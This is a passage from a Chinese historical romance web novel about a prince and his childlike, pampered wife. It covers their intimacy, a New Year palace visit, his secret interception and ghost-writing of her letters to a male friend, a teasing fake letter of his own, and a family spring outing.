她害羞弯唇,双臂紧紧缠着他的脖颈,在他耳旁悄声道:“我们同房。” “什么?你不是屁股疼?” “是隐隐作痛,不是你说的那种疼。” “哦,隐隐作痛就是你说痛就痛,你说不痛就不痛。” “你要不要嘛。”她的膝盖已经在他腿上蹭起来,委屈道,“好痒,我想要你帮我堵住。” 封肆喉头一紧,在她臀上拍一巴掌,沉声道:“不许在外面说这种话勾引我。” “我没有!我说的是实话!” “实话也不许说。”封肆轻咬她的耳垂,悄声道,“回去再说。” “噢。”她耷拉着眼皮,“那我小声说,行吗?” “不行。”封肆无情打断。 她嘟着嘴忍着,一直到房中,扯着他的耳朵道:“我要你摸摸。” 封肆咬了咬牙:“你简直是要人命!” “要你摸摸而已,怎么就是要你命啦?你快点儿嘛,我都黏答答了……” 封肆脚尖一转,抱着她径直往浴房中走,还未进门,先狠狠洗了几遍手,将她往地毯上一放,好好伺候。 她哼哼着还不消停,断断续续道:“看,我没骗你吧?是不是都黏黏的了?呃,小四,我怎么这么喜欢你呀?和你亲嘴都好有感觉呀,你亲我呀,你怎么不亲我了?呜我要你亲我……” “亲你亲你。”封肆咬住她唇,含糊不清道,“我恨不得嘴都长在你身上。” 她抱着他的肩,继续哼哼:“你抱紧一点儿嘛。” “真是个磨人的宝贝,”封肆扣住她的腰,将她严丝合缝地按在怀里,“够不够紧?” “嘿嘿,够了够了。”她用下巴蹭蹭他胸膛挤压而上的肌肉,一口咬上去。 封肆眉头微皱,垂眸看一眼圆圆的牙印,再看一眼她亮晶晶、水润润的眼睛,轻声教训:“不许咬人。” “为什么?我是喜欢你才咬你的。”她又一口咬在他肩上,没一会儿就给他留下好几个牙印。 封肆手下稍稍用力。 她低呼一声,松了口。 封肆笑着堵住她的嘴:“去水里?” 她点点头:“要你。” 封肆叹息一声,嘴角却是忍不住地往上扬,抱起她往浴池走:“唉,又要我,一天要三顿,还喂不饱,长此以往,怎么消受得住啊?” “嗯?”她眼一睁,“什么意思?你不行了?怎么会这样啊?不是可以一直用的吗?难不成还会坏掉?” 封肆几乎被她一连串的问题砸晕,一个也回答不上来:“没有,和你说笑呢,专心点,别想东想西的。” “是你先说的呀。”她突然严肃起来,“是啊,什么东西用多了都会坏掉的,小四,你会不会坏掉?” “我是东西吗?”封肆说完,沉默好一会儿,又道,“我的意思是说,人是人,物件是物件,是不一样的。” “噢,那就是不会坏掉了?”她一下又笑弯眼,“那可太好了,那我就不用担心了。” 封肆有些后悔,那以后等他老了,他该怎么解释?他道:“其实也不是不会坏掉。” 柳娆又睁大眼:“啊?” 在她说出更多乱七八糟的东西前,封肆赶紧解释:“就和你一样,我要是不知轻重,你还不是会疼?你要是疼了,是不是得休息?” “啊?那我有没有弄疼你啊?” 封肆哭笑不得,一时间不知该如何回答。 柳娆搡搡他的肩:“你说话呀,我有没有弄疼你。” “没有,没有,你那点力气弄不疼我,但我也是会累的,你明白吗?” “那你是现在累了吗?” “没有。” “那你干嘛突然说这个?” 封肆将她拉进怀里,低头亲她:“我就是告诉你,我也会累,我也得休息,不能连着来。” “噢,这样啊。” “亲我。” 她立即抱住他:“太好啦,我早就等不及了。” 封肆托起她:“来。” 她毫不迟疑挂在他腰上,在他脸上胡乱亲吻,放肆地发出婉转缠绵的声音,水波荡漾,似乎也被她的声音颤动。 第54章 第 54 章 你麻不麻? 最后, 她累倒在他怀里,又不肯起。 封肆被她压得喘不过气,她还在眯着眼回味:“嗯, 真舒服啊, 尤其是最后那几下, 舒服得我都要晕过去了。” “知道了,睡吧, 宝贝。”封肆拍拍她的背。 她头一抬, 眼中一丝睡意也无:“你舒服吗?” 封肆将她的头按回去:“舒服, 睡吧。” 她脖子一扭,脑袋又抬起,手塞去他腰后,点点他的尾骨:“怎么个舒服法?我们同房的时候, 我这里会麻麻的, 你麻不麻?” “麻。” “然后就从这里一路麻, 麻到头里。”她的指尖一路往上, 点到他的后颈,脑袋往他肩上一放,嘿嘿笑道,“小四,我们再做一次吧!” 封肆暗自长叹一声:“天不早了……” “你明天有事要忙?” “没有。” “那有什么早不早晚不晚的?来嘛来嘛。”她的手已经抓住它,牢牢不放。 封肆不争气地立即有了感觉:“好吧,来吧。” 天明,新鲜的日光照进, 柳娆的脑袋从帐子探出,看一眼阳光,惊喜道:“太阳出来了啊?好久没有这么好的太阳了, 我们出去玩吧!” 封肆皱着眉头,眯眼看向帐子外:“去哪里玩?” “园子里啊,我们去晒太阳,我指尖上的丹蔻淡了,刚好你给我重新再涂。”柳娆跳下床,挂起床帐,将他的被子一掀,“快起快起。” 他坐起,在床边缓了好一会,缓缓起身:“指甲不是前两日才涂的吗?” “什么前两日都有七八日了,你看,颜色都没那么鲜艳了。”柳娆伸出手,指甲几乎要戳到他眼睛里。 他往后仰了仰,连连点头:“好,一会再说。” 在柳娆这里可没什么一会再说,一会再说就是一会必须给她涂。 日光融融,柳娆低着圆脑袋,专心致志看着指尖的小刷子。 封肆抬眸,看一眼她那认真的模样,不由弯唇:“怎么样?我涂的是不是越来越好了?” “嗯嗯!”她连连点头,“小四你真厉害。” “布条。”封肆接过侍女递来的布条,小心翼翼将她的指尖一一包裹起来,闲话道,“我先前觉得挺枯燥的,涂了这么几回,忽然觉得也没那么枯燥了。” “是吧?你要不要涂?我给你涂。” 封肆叹息:“你怎么总是能把我给噎住?你自己瞧瞧这花里胡哨的,我涂了像什么样子?” “好看的样子啊,还能是什么样子?我觉得你很好看,涂这个很合适。” 封肆又被她夸笑:“好了,你自己抹吧,我这经常进出朝堂内外的,真涂成这样,不得被人笑话死。” 她起身,一屁股坐在他腿上:“别人笑话你,你就会死,你也太脆弱了。” 封肆扶额:“那只是夸张说法,不是真的会死。” “要过年了,不能说死的,你快呸呸呸。” 封肆觉得幼稚,不愿意开口。 柳娆盯着他,一脸严肃,好像不说就真的会出事。 他妥协,低声道:“呸呸呸。” 柳娆亲他一口,欣慰道:“这才对嘛。” 他轻笑,捏捏她包裹住的爪子:“这下好了,半天都不能做事,可以消停会了。” “我不能做,你能做啊,我们看书吧,你给我翻书。” “看书还行。”他抱着她卧在躺椅上,举着书本,听着她的指挥轻轻翻动。 冬日,难得有这样明媚的日光,暖烘烘的,躺椅旁放置一小炉,烤着果子坚果,封肆读得快一些,他读完,便剥一颗果子,塞进柳娆的口中,等着她读完翻下一页。 临近年关,朝中的事又繁忙起来,封肆歇了没几日,又日日往宫中去,琐事忙完,皇帝召他闲话。 “前些日子去给母后请安,母后叮嘱,叫我早些要孩子,我想也是,我也到这个年岁,是该绵延子嗣了,还请皇兄允我少些外出。” “朕像你这样大的时候都已经有太子和老二了,你是该要孩子了,只是……”皇帝顿了顿,眼中浮起笑意,“你王妃那性子,能做好一个母亲吗?” 封肆抬眸,目光渐冷。 皇帝察觉,收起脸上的笑意:“过两日便是除夕,你还是和往年一样,来宫里过年吧,带上王妃一同,母后喜欢她,瞧见她也高兴。” “媚儿往后都不来宫中了,她不是个守规矩的性子,来宫里憋闷,也惹得宫里不安宁。” 皇帝抬眼看去。 封肆回视。 两道目光皆是冷静镇定,一切皆在不言中。 许久,皇帝先退步:“她的性子的确不适合来宫里,不来也好。” 封肆垂眸:“多谢皇兄,臣弟告退。” 他起身,后退几步,转身跨出殿门,脸色阴沉,路过之人皆退避三尺。 踏出宫门,那道粉色的身影朝他奔来,他垮着的脸色终于有了变化,大步迎去,将人一揽:“回去吧,休沐了,明日不必来宫中了。” 柳娆手舞足蹈:“太好了!” 他嘴角又扬起:“除夕我要进宫里给母后请安,你就不必去了。” “为什么啊?我为什么不去?” “宫里规矩多,你不是很不习惯?以后你都不必进宫了。” “可是我想去见母后啊,母后看不到我会很想我的,最重要的是,每回去见母后,母后都会给我很多好东西。”她说罢,又觉得不对,赶忙又冲他笑,“嘿嘿。” 封肆好笑:“我会向母后转达,你就不必亲自去了。” “可是除夕诶,你去宫里了,我一个人在家,多可怜啊,你好狠心。” 封肆似乎真看见她一个人在家中过年的可怜模样,语气放轻许多:“我也就是午间过去,至多吃顿饭便回了。要不到时我送你回娘家玩半日,等出宫再来接你回家过年?” 她双手抓着他手轻晃:“可是我想要你陪我嘛,除夕,人家的夫君都在家里,就你不在。” 封肆亲亲她的额头:“我在,不是晚上就回吗?” 她推开他,双臂抱起,嘴一撅:“早知道我就不要嫁给你了,平时不在就算了,过年过节还是不在。” 封肆眉头一紧,低斥:“不许说这种话。” “你还凶我!” “那我要是说后悔跟你成亲,你高兴吗?” “可是我又没做错什么,是你做错了,你还有理了!你这个混蛋!你就会凶我!”她张牙舞爪,往他身上拍。 封肆抓住她的手腕,将她往怀里一带:“好了好了,是我不对,我对你语气太重,我跟你道歉,不生气了好不好?我也想在家陪你啊,可宫里总是要去的,你不是还想要母后的赏赐?我去给她请安就是你去跟她请安,她肯定还会给你好东西的。” “哼!”她嘴撅得老高,快吻到鼻尖了。 封肆笑着拨拨她嘟起的嘴唇:“好了,我会早些回来,不和我闹脾气了好吗?你也很久没回娘家了,你爹娘肯定也想你了,刚好回去看看。” “噢。” “你不是一直想去街上玩?过年街上肯定热闹,等我回来,我们去街上玩。如何?” “嗯?”柳娆眼睛一亮,“那行,那你去吧,除夕中午我就先回那边吧,不过你要早点回来噢。” 封肆满脸无奈,笑着摇了摇头。 柳娆捧着脸,已经开始期待起来:“太好了,我好久没有在外面玩了,真想早点到除夕啊。” 她不吵也不闹了,除夕到柳府下车时,还高兴朝封肆摆摆手:“早点回来啊。” 封肆笑着看她:“知道了,快进门去吧。” 她目送马车行驶,蹦蹦跳跳和家里人往里走。好不容易全家人都得闲,用完午膳聚在一起闲话,二哥三哥正商量准备礼品的事,她凑过去,竖着耳朵听。 “你们的朋友怎么都那么多?我就没什么朋友。” “你以为朋友是平白得来的?那都是要花时间花心思维护的,像你这样的脾气,只有旁人哄着你的份,除了宁王谁还愿意跟你玩?累都要累死。”柳瑜没好气道。 柳娆一跺脚一叉腰:“谁说我没有好朋友了?还有,你大过年的,说这么不吉利的话,我要告诉祖母,让祖母来打你的嘴!” 柳瑜新奇道:“你还有好朋友?天底下还有跟宁王一样缺心眼儿的?” “你才缺心眼呢!我就是有好朋友,我也要给他准备礼物写信。纤云,给我拿纸笔来!”柳娆往桌边一坐,双手推开桌面上的杂物,提笔就写。 柳瑜瞧她一副煞有其事的模样,伸着脖子想瞧两眼。 她察觉,眼睛一抬,瞪他一眼,用衣袖挡住纸面。 “还不让人看。”柳瑜调侃一句,“你说的这个朋友不会不存在吧?” “谁说的?”她举起写得密密麻麻的信纸,对着吹了吹,折进信封中,交给纤云,一脸得意道,“帮我寄出去吧!” 纤云看一眼落款,却变了脸色:“王妃,这……” 柳瑜当即捕捉到不对,抬眉问:“还真有这样一个好朋友啊?” 纤云不知如何回答,这信是写给江公子的,可她前段时日分明听见王妃和王爷因为此事而争吵,若是要王爷知晓此事,恐怕又得起争执。 “怎么了?有什么问题吗?”柳娆也问。 纤云顿了顿,俯身在她耳旁低声提醒:“王妃,王爷似乎不太喜欢您与江公子交往,您要不还是和王爷商量商量?” “只是写封信而已,为什么还要跟他商量?我连写信的自由都没有吗?我不管,你赶紧给我送去。” 第55章 第 55 章 你夫君在外面那么辛苦 “是……”纤云为难片刻, 还是缓步退出门外。 柳瑜思索片刻,笑道:“宁王不许你写信,你还写, 你不怕他生气?” 柳娆撅嘴:“不用你管。” “你是要给谁写信?宁王竟然还管这样的事, 你不会是要给什么男子写信吧?” 柳娆抿了抿唇, 没说话。 柳瑜眉头皱起:“真是男的啊?柳娆,你真是出息了啊?你居然私下里和别的男子私相授受。纤云!纤云!” “我没有私相授受, 是你说好朋友要费时间花精力来维持的!” “你少怪在我头上, 旁人听了, 还以为是我教唆你给男子写信呢。”柳瑜起身,又喊两声,将纤云叫回来,继续教训, “你知不知道你这叫什么行为?你这是红杏出墙, 你不要辱没了我们柳家的门楣!” “我怎么红杏出墙了?我写个信就红杏出墙了?你少污蔑我!” “好, 你算不算红杏出墙, 我说了不算,就将这封信交给宁王,让他来定夺。”柳瑜一把夺过纤云手中的信转身就走。 柳娆追去:“你还给我!” “你害怕什么?既然你笃定自己没有红杏出墙,那让宁王看看这封信,也没有什么吧?” “我……” 柳珣这会儿也坐不住了:“媚儿,你整日里到底在想些什么啊?你不是喜欢宁王的吗?怎么现在又和旁人有关系了?” “我没和别人有关系,我在信里也没写什么,不信你们看。我不想给他看, 是因为他会生气,我都说没什么了,他还是生气。”她嘟着嘴低着头扣指甲, “他每天都很忙,我只是希望他忙的时候有个人来陪我而已。” 柳瑜将信还给她:“他要是不生气才奇怪了,你自己看着处理吧,若是因此惹出什么祸事来,可别怪二哥我没提醒你。” “噢。”她将信又交给纤云。 柳瑜瞥一眼,当做没看见:“今日怎么是他单独进宫?你怎么不跟他一起去?” “他说宫里的规矩多,我不习惯,让我在家里呆着就好。” 柳瑜琢磨片刻,没能想出缘由来,未再多问:“你好歹是成了亲的人,做事要多考虑考虑,任性也要有个度。” 柳娆望着地毯,左耳朵进右耳朵出,她才不管那么多,反正她在信里又没写什么露骨的东西,凭什么不让她写? 那封信被纤云寄出,没出几日,还是落在了封肆手中。 柳娆午间睡醒,正在梳妆,封肆这两日被磨着给她梳头,实在有些扛不住,借口逃出门。 管事拿着信封来:“王爷,是江公子的信。” “他给我写信做什么?江家最近出什么事了?” 封肆接过信,打开,瞧见信封里的信封。他满脸疑惑,抽出最里面的信纸,看着纸上莫名熟悉的字体,一目十行往下读,最后,在落款上瞧见“柳娆”二字。 怒火腾然升起,他攥紧拳头,骨骼吱呀作响,静坐片刻,大步往卧房方向去,信纸被挤压得褶皱,信纸上的墨迹都要融化在掌心中。 他对她还是太好了,好到她无法无天,作威作福,什么珠宝首饰、布匹零花,以后都不会再有,她给他安安分分待在家里,哪里也别想去。 他想着,还是不够解气,又抓着信纸扯成好几块,揉作一团。 “他人呢?又去哪儿啦?我们还说好要一起出去玩呢?”娇滴滴的声音从房中传出来。 封肆脚步一顿,镇静许多。 “说好陪我的,又不见了。” 他听着房中的抱怨声,脑中忽然又浮现出信纸上的内容。 那信上其实也没什么暧昧的,只是询问了些各种手工的技巧,打络子、璎珞什么的,都是媚儿平常爱玩的,除了这些外,似乎还有个他没见过的,是什么来着? 他往外走几步,将揉成团的信纸展开,一块块拼凑在一起,再一次看清了上面的内容。 媚儿说,她想自己打磨彩贝,将彩贝点在琴身上,只是不知道从何做起。 封肆有些意外,媚儿竟然还会弹琴,他竟然从来不知。他忽然想起中秋那曲盘鼓舞,若不是那回偶然,他至今也不会知道她竟然会跳舞,当时他也同样惊讶过,可很快便忘了。 他实在有太多事要做,这样微不足道的小事,除了当时能在他心中漾起一圈小小的涟漪外,再无法留下任何深刻的印象。 尤其是这信纸上的字迹,他瞧着很是眼熟,却看不出来是她写的,可他偏偏又记得那么多人的字迹。 他对她的要求一直很简单,不哭不闹,每日高高兴兴就好,他已经很累了,回家后就只想轻松一些,哭了就哄哄,闹了就陪陪,银钱首饰给够,他也一直以为她就是这样好哄,他从来都不了解她。 他恍然察觉自己没有那样爱她,这样的察觉竟然让他有一丝心痛。 房中喋喋不休的抱怨没有停下来过,闹着要出来找他,他拿起破碎的信纸,叫来工房里的匠人,询问过后,写了第一封回信,落款江亦清。 柳娆收到回信已经是好几日后,她不知晓江亦清住在何处,也不知往来信件要花费多少时日,只知有回信高兴,迫不及待打开信封查看,举着信纸仔细阅览。 纤云瞥一眼,低声提醒:“王妃,您还是注意着些,别被王爷瞧见了……” “什么东西不能被本王瞧见?”封肆刚好从外来。 柳娆吓得一抖,赶紧将信收起来,纤云也吓得当即要跪地。 封肆抬抬手,示意侍女退下,信步朝柳娆去:“藏什么了?拿出来我看看。” 她连连摇头:“没什么没什么。” “我都看见了,赶紧拿出来,否则我亲自来搜了。” “我……”她抿了抿唇,“那你不可以打我。” “我要看看是什么,才能决定罚不罚你。” “那没有!什么都没有,你看错了。” 封肆弯身,从桌面下捉出她的手腕,抽出她手中的信封,看着她委屈垮下的嘴角,又道:“告诉我,你给谁写的信,写了什么,他回了什么,我可以不罚你。” “真的?”她半信半疑,吞吞吐吐,回答得倒是大差不差,没有隐瞒。 封肆将信放回桌面。 她立即要抢。 封肆指尖落下,将信按在桌面上:“你就这么舍不得他?” 她撅撅嘴:“我好不容易有个朋友……” “朋友?”封肆挑眉,没忍心告诉她,江亦清那厮怕被连累,看都没看她的信,原封不动寄来了。 “有什么问题嘛?我只是想有个朋友而已,你凭什么不允许?” “好吧,我允许。” “我……”柳娆都准备好和他理论了,听他这样说,又愣住,不知如何应对,“我……真的?” 他将信封推去她跟前,在她身旁坐下:“真的,我同意你跟他通信,也相信你没有骗我,这信里写了什么我就不看了。” “小四!”柳娆扑过去,惊喜万分,“小四,你太好了!” 封肆微微扬唇:“所以,你以后不必刻意躲着我,我不会再阻止你,也不会偷看你的信,你放心大胆地写。” 反正信最后都是到了他手中。 柳娆毫不知情,高兴在他脸上亲了好几口:“小四,谢谢你!” 他心虚耸耸鼻尖:“好了,我还有些事要去书房忙,你慢慢回信吧。” “好!”柳娆将信纸铺好,高兴落笔。 “小江,我夫君同意我们通信了,这下你可以放心了吧?你说的打磨彩贝的技巧,我看了看,打算等我夫君忙的时候去试试……” 封肆拿着那信斜靠在榻上默读,春日的融融日光照进来,落在他微微扬起的唇上。“为何要等你夫君不在时?你为何不同你夫君一起做这些呢?我觉得他未必不懂……” “因为他要是在,我可以和他去做别的更有意思的事啊。不过,我觉得他应该不懂这些,每回我和他做手工,他总是不情不愿的,还是和你在一起做手工高兴。他这几日出门了,你能来京城陪我嘛?我可以给你发工钱,我有很多零花钱,不会让你白干活的……” 封肆的脸黑了又黑,强忍着才没有冲出门连夜赶回京城。他将那张信纸板板正正叠好收起,铺纸提笔。 “你夫君在外面那么辛苦。” 写下一句,他又将纸张扔掉,深吸几口气,稍稍冷静一些,重新落笔。 “你怎么能这么说呢?你夫君听见会很伤心的,他原本就不喜欢这些东西,为了你愿意去做,已经很不容易了,他出远门也是为了你们过得更好而奔波,请你以后不要再这样说了。还有,若是你想他了,可以给他写信,不要只给我写。” 柳娆看着信上的内容,有些犯嘀咕:这个小江怎么和小四说一模一样的话啊? 她琢磨了好一会儿,认为他们两个是好朋友,说一样的话应该也不奇怪,又安心回信。 “可我说的是实话啊,他原本就不懂这些嘛,就像我不懂他做的那些事一样啊。我也不是不想给他写信,可是我祖母和我娘跟我说过,让我不要过问他的事,以免落人口实。我觉得还是我们两更有默契一些,你喜欢做手工,我也喜欢做手工,你最近到底有没有空啊?你快来京城找我玩吧,你再不来他就要回来了……” 封肆“啪”一声合上信纸,险些气晕过去,他不能再看这些信了,再看他就真的要气得飞回京城。 第56章 第 56 章 流氓 离回京时, 又来了封信,他做好了十足的准备,打开一看, 还是气得头疼。信上还在催他, 不对, 催江亦清去京城。 他捏了捏眉心,干脆又回了封信。 信比他先到京城, 柳娆瞧见信上的内容, 眉头一下蹙起。 “我要成亲了, 我们往后不能这样通信了,我夫人瞧见会吃味……” 柳娆满头雾水:“为什么啊?成亲就成亲嘛,为什么会吃味?我们只是写写信而已,也没做什么别的啊?” 新的一封信还没寄出去, 封肆便回来了, 纤云哆哆嗦嗦直接将信递去他手上, 他打开一看, 脸色果然又阴沉了几分。 他叉着腰,仰头深吸好几口气,那股怒火还是未消,他现在只想哪里来个莫名其妙的女人给他写一封这样莫名其妙的信,好让那个磨人精看看,会不会吃味,会不会生气。 “你……”他看向纤云,顿了顿, 又抬步往书房走,快速写下一封信,递给纤云, “交给管事的,叫他三日后、两日,不,明日,叫他明日当着王妃的面,将这个交给我。” 他交代完,起身又往卧房走。 卧房里的人没在写信,正卧在木榻上看书,他看两眼,气消一些,抬步往里走。 柳娆听见脚步声,抬头望来,眼睛立即亮起:“小四?你回来啦?你怎么不提前说一声呀!” 人扑来,扑进他怀里,他气消了大半,双手接住她:“在看书?” “对呀。”柳娆在他胸膛上蹭蹭,“我好想你呀。” “怎么?没给那谁写信?”他克制不住,蹦出一句。 “写了呀,但他还没给我回信,他说他要成亲了,以后不能和我通信了,真奇怪。” 封肆捏起她的脸:“你看看人家多自觉。” 她眨眨眼:“什么?” “你天天给别人写信,怎么不知道给我写?” “我都不知道你在哪儿,我怎么给你写?” “嗯?好像也是。” “还有,我祖母她们说,不让我过问朝政的事的,你出去是在忙朝廷里的事吧?我还是不要给你写信为好。” “你可以不问朝政,给我写些别的啊。” “那你怎么不给我写?” 封肆顿住。 “我不知道你在哪儿,可是你知道我在哪儿啊,你为什么不给我写信?跟我说你做了什么,吃了什么?” “我……” “哼,你是一出去就把我给我忘了吧?” 封肆不知如何作答:“我没有写信的习惯。” 还有在信里写一堆废话,不奇怪吗?每日做了什么,吃了什么,有什么好写的? “那你还要我给你写信?”柳娆奇怪打量他两眼,“你怎么每回从外面回来都要找我的麻烦?我不和你说了,我去看书了。” 封肆立在原地缓了缓神,轻声走近:“你给我写信,我不就能给你回信了?” “噢。”她头也没抬一下,“我现在生气了,不想跟你说话,你一边待着去吧。” 封肆在她身旁坐下,垂首在她唇上啄吻。 她左躲右躲,没能躲过,戳戳他的肩:“你让开,我要看书。” “你不是想和我玩吗?我都回来了,你还看什么书?”封肆将她手中的书册抽走,“我给你写信。” 她愣了瞬,撅起嘴:“你不是说没写信的习惯吗?” 封肆看着她,轻抚她的脸颊:“嗯,但是我很想你。” 她又怔愣了瞬,嘴角有些控制不住,实在撅不起来,只能高高扬着:“那你最近都去了哪儿?做了什么?有没有吃好睡好?” “去了许州,去忙朝廷里的事,吃的就是平常那些,睡得不太好,想你。”封肆贴在她唇边悄声说完,含住她的唇,将她抱起,往浴房里走,“你想我吗?” 她突然就领悟了他话中的含义,红着脸点头:“想。” 灯火阑珊,封肆搂着她窝在床榻上,轻声道:“接下来很长一段时日都不必再出门了。” “真的?”她脑袋一抬。 “真的,只可惜,某些人想要别人……”封肆突然顿住。 “什么?” “没什么。”封肆忽然想起她并不知道信件被调换的事。 柳娆又笑着抱住他:“太好了,你在家里,我们可以出去玩,天暖和了,我看他们出去踏青好羡慕,我们也出去踏青,好不好?” “好,只要天晴朗,这两日便能去,这几日刚好空闲。” “那我叫上我祖母爹娘,哥哥他们?” “你高兴就好。” “那太好了!”她往后一卧,惬意道,“我们多带些吃的去,到时我们可以席地而坐,吃吃喝喝,谈天说地,还能放纸鸢!” 封肆目光一直落在她脸上,嘴角不禁弯起。 她眼一闭:“睡了!” “嗯?为何不压着我睡了?” “忘了,你太久没回来了。” “来。”封肆朝她伸手。 她笑眯眯爬去他身上,大喇喇压着他:“睡觉!” 封肆被压得喟叹一声,心里终于踏实了,将她紧紧抱在怀里:“睡吧。” 日上三竿,日光和管事的信封一起进门。 柳娆放下筷子,双手去接:“快快快,给我看看,是不是我的信?” 封肆佯装不在意,手中的筷子却停了,好整以暇,等着她拆开信封。 “诶?不是我的信吗?梅儿?是谁?”她自语着拆开信,“是写给你的?” 封肆静默等待。 柳娆仔细阅读,而后眉头一皱:“这个梅儿是谁?为什么我都没听你说过?” 封肆抿紧唇,忍住笑意:“一个朋友。” 柳娆狐疑看他:“朋友?男的女的?” “是个小姑娘。” “多小?” “和你差不多大小。” “噢!”她显然不高兴了,眉头快扭在一起,“你和她什么时候认识的?” “有一段时日了,怎么?有什么疑问吗?其实我们也不是很熟,只是普通朋友而已。”封肆刻意强调。 柳娆撅着嘴:“不是很熟?那她干嘛邀请你去她家玩?你去过她家吗?什么时候?为什么我不知道?你去做什么了?” 封肆仍旧不紧不慢:“你不要一下问那么多问题,我记不住。” 柳娆彻底恼了,将信纸往桌上一拍,碗里的米饭都弹起来几粒:“我问你是不是去过她家了!你是不是趁着外出的时候去她家了!” 封肆直觉不对,赶忙道:“没有,我们只是写写信而已。” 已经晚了,柳娆的火气已经冒上心头,将信纸往他怀里一塞,起身就走:“你去她家陪她去吧!” 他赶忙追上去,解释也不是,不解释也不是,他根本就说不清自己为什么会知道她和江亦清的书信上写了什么,要命,早知道他就晚点再逗她了,现在不是搬起石头砸自己的脚吗? “媚儿……” “你不要喊我,你去喊别人吧!我再也不要理你了,我现在就回家!”她执拗往前走,还不忘吩咐人搬东西,“纤云,你去给我收拾行李,我要架子床,还有梨花木榻,织金地毯…反正什么都要!” 封肆紧紧将她抱住,脚下却还是有松动,他真怀疑现在十头牛都拉不回来她:“媚儿!我真没有去过她家,只是写写信而已,就和你跟江亦清一样,为何你们能通信,我不能?” 她一顿,忽然想起自己信上的内容,脑子里一瞬间闪过很多想法。 噢,她天天给小江写信,小江的妻子应该会很不高兴吧?原来真的会吃味的啊?那小四他…… 她眼珠子转了转,眯起眼睛,皮笑肉不笑:“吃早饭。” 封肆被她这突如其来的假笑吓了好一下,生怕她又跑,小心翼翼跟上。 “这个好吃,你多吃。”柳娆往他碗中夹了块鱼肉。 他看着她维持不变的假笑,忍不住打了个寒颤:“你吃……” 柳娆继续给他添菜:“你以后不许给那个什么梅儿写信了。” 他微顿:“那你呢?” “我也不给小江写了啊,他要成亲了,我再跟他写信,他妻子会不高兴的,你再跟别人写信,你的妻子也会不高兴的。” 封肆微微扬唇:“哦,这样啊。” “对啊,快吃吧,吃完我们给祖母他们写请帖,邀请他们一起踏青,然后我们再涂指甲。” 封肆堵在心头的那口气终于顺了,现下别说是涂指甲了,让他做什么都行,不过,他涂指甲的手法是越来越娴熟,从前要涂好几遍才能让人满意,如今涂一遍便已十分完美。 “媚儿,你很会跳舞吗?”他忽然开口。 “那当然啦,我会跳很多种舞呢。” “那我平常为何未曾见你跳过?” “家里有需要跳舞的场合吗?” “也是。”他附和一句,突然又道,“你可以跳给我看。” 柳娆抬眸:“你喜欢歌舞?” 他笑道:“我喜欢看你歌舞。” 柳娆一顿,心中渐渐升起一股说不清道不明的感觉,像是一支轻柔的小羽毛落在了心尖上,她不由得弯起嘴角,轻声道:“噢,你想看什么?” “我也不知道,我不懂歌舞,你跳什么我就看什么。” 她偏头,伸着脖子,温软的唇轻轻触碰他的唇。 “要抱吗?” “嗯。” 封肆将她最后一个指尖包裹好,将她抱进怀中:“你若是不想跳便不跳,我也不会强迫你。” 她翘着嘴角在他脖颈里扭捏好一会儿,小声道:“改天吧,我指甲还没干呢。” “好,没问题。”封肆笑着亲亲她的脸,“去踏青要不要野炊?” “要!我还要新衣裳!” “满屋子都是你的新衣裳,还要新衣裳?” “不行吗?” “行行,就是怕来不及做出来,你就穿前些日子新裁的春衣吧。” “那也行,但衣裳还是要做,可以下回出去玩的时候穿。” 封肆无奈:“这回都还没出去,就惦记着下回了。” “你不喜欢出门吗?天这么好,不出去多可惜?等天冷了,那些漂亮的裙子可就穿不出去了。” “看来以后还得专门买个宅子给你放衣裳,否则家里都要放不下。” “那不用,西院里面放衣服就行了。” 封肆笑着敲敲她的脑袋:“你还真想上了。” “不行吗?反正西院的屋子空着也是空着。” “行行行,明天我就亲自给你收拾出来,将你那些衣裳全摆放进去,往后再有人来咱们家做客,都可以邀请人家去观赏。” 她不假思索道:“那他们肯定很羡慕我,我有一个这么好、这么爱我的夫君。” 封肆一下被逗笑:“做吧做吧,做两件衣裳还做不穷我。” 柳娆毫不客气,又叫人来做了好几身衣裳,穿了身新做的春衣,高高兴兴出门踏青。 她今日起的倒是不晚,只是收拾发型又耽搁了时辰,抵达郊外时,哥哥嫂嫂们已经在小河边等着了。 三哥柳珣远远就朝她招手:“媚儿!” 她一激动,半个身子都探出车窗外,双手朝他挥舞:“三哥!” 封肆慌忙将她的腰握住:“坐回来,当心危险!” 她笑着退回车窗里,脑袋还伸在外面,乐呵呵跟家里人打招呼。 柳家的长辈都没来,几个哥哥和嫂子都到了,还带着大侄儿,一群人一起上前行礼:“拜见王爷,拜见王妃。” “不必多礼,都是一家人。”封肆钻出车门,将柳娆扶下车,“走吧,都去坐着,该如何便如何。” “是。”众人缓步朝河边走。 小河两边是青翠的堤岸,岸边垂柳依依,树下铺着布,众人席地而坐,说笑着摆弄吃食。 封肆往前走几步,双手叉着腰,停在河边眺望。 柳瑜跟上,恭敬道:“多谢王爷提拔。” “客气什么?我说过了,都是一家人。”封肆随意在草地坐下,又道,“媚儿如今是我的王妃,她的娘家不能太差。你父亲太过爱惜羽毛,你大哥又太像你父亲,他二人皆不适合在官场行走,看来看去,你们家也就只有你有些灵气。” 柳瑜在一旁陪坐:“王爷谬赞。” “好好干,往后机会多的是……” “你们在说什么呢?”柳娆突然扑过来,将封肆压得一倒。 他勉强坐稳,正色道:“和你二哥说话呢。” “什么我二哥?是我们的二哥,我要说几遍你才记得?”柳娆戳戳他的脸颊,又问,“你怎么一个人坐在这里了?怎么不去那边坐?他们都在那边可热闹了,还有好多吃的呢。” “你饿了?我还不饿,此处风景不错,我想在此处欣赏欣赏你,若是饿了,便去寻些吃的。” “我不饿呀,我只是想和你一起玩儿嘛,可是你一个人在这里。” 柳瑜识趣离开:“我先去给他们帮忙,你们慢慢聊。” 封肆见他走远,双手搂住怀里的人:“日光不错,消停会儿,晒晒太阳。” “我想放纸鸢,你起来陪我放。”柳娆拉着要他起。 “你去拿纸鸢来,扎好了才能放。” 她一听,立即松手提着裙子,跟一阵风似地跑远,又跟一阵风似地跑回来:“扎!” 封肆接过纸鸢,缠绕竹轮。 柳娆跪坐在草地里,垂眼认真盯着,突然,凑去他耳旁悄声道:“它在左边。” “什么?” “在左边。”柳娆手指朝下指。 封肆低头看一眼轻薄的春衣,默默用衣摆遮住大腿,捏着她的脸颊道:“流氓。” 她揉揉脸,没好意思反驳。 “走吧,去放纸鸢。”封肆站起,墨绿色的长袍自然垂落。 柳娆好奇垂头看两眼。 封肆敲敲她的脑袋:“还看。” 她抬头,眯着眼笑:“现在看不到了。” “想什么呢?不是要放纸鸢吗?赶紧放去。” “你和我一起放嘛。”柳娆捉住他的手,带着他往前跑。 